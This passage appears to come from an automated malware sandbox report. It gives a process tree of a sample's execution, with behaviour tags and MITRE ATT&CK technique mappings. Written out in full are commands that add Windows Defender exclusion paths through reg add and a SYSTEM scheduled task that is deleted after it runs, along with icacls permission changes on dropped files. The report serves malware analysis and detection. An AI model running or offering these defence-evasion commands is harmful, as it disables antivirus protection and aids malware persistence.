    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6024
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YjjSIR\YjjSIR.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3236
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:6060
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:224
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3880
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:5044
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YjjSIR\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5848
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YjjSIR\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5288
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YjjSIR\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1876
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YjjSIR\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1472
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YjjSIR\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1488
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YjjSIR\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4448
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YjjSIR\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:6136
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YjjSIR\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4656
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YjjSIR\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:656
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YjjSIR\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2064
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    PID:4504
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1628
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4408
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1596
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YjjSIR\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:3552
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YjjSIR\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2140
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YjjSIR\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5076
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YjjSIR\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:916
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YjjSIR\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:988
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YjjSIR\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1344
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\YjjSIR\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4148
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\YjjSIR\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1728

C:\Users\Public\YqMmwy\6ob511.exe
"C:\Users\Public\YqMmwy\6ob511.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3888

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\YqMmwy" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4540
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\YqMmwy" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5704

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:2120

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5664
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5592

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5372
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5872

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6056
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:6080

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:116
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5164

C:\Program Files (x86)\YjjSIR\YjjSIR.exe
"C:\Program Files (x86)\YjjSIR\YjjSIR.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2680

C:\Program Files (x86)\BQfMYzam7\TPxbW7M.exe
"C:\Program Files (x86)\BQfMYzam7\TPxbW7M.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3744

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\YjjSIR" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5656
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\YjjSIR" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:6052

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1688
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:964

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2488
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2868

C:\ProgramData\xMEnIMbo.exe
C:\ProgramData\xMEnIMbo.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1800

C:\ProgramData\H6rda6ny\NFGJSk2B.exe
C:\ProgramData\H6rda6ny\NFGJSk2B.exe
1⤵
- UAC bypass
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- System policy modification
PID:2500

C:\ProgramData\q6H1R6VJ\Pzy39Bs0.exe
C:\ProgramData\q6H1R6VJ\Pzy39Bs0.exe 1776
1⤵
- Executes dropped EXE
- Modifies trusted root certificate store through registry
- Modifies system certificate store
PID:1136

C:\Program Files (x86)\YjjSIR\YjjSIR.exe
"C:\Program Files (x86)\YjjSIR\YjjSIR.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4380

C:\Program Files (x86)\BQfMYzam7\TPxbW7M.exe
"C:\Program Files (x86)\BQfMYzam7\TPxbW7M.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1472

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry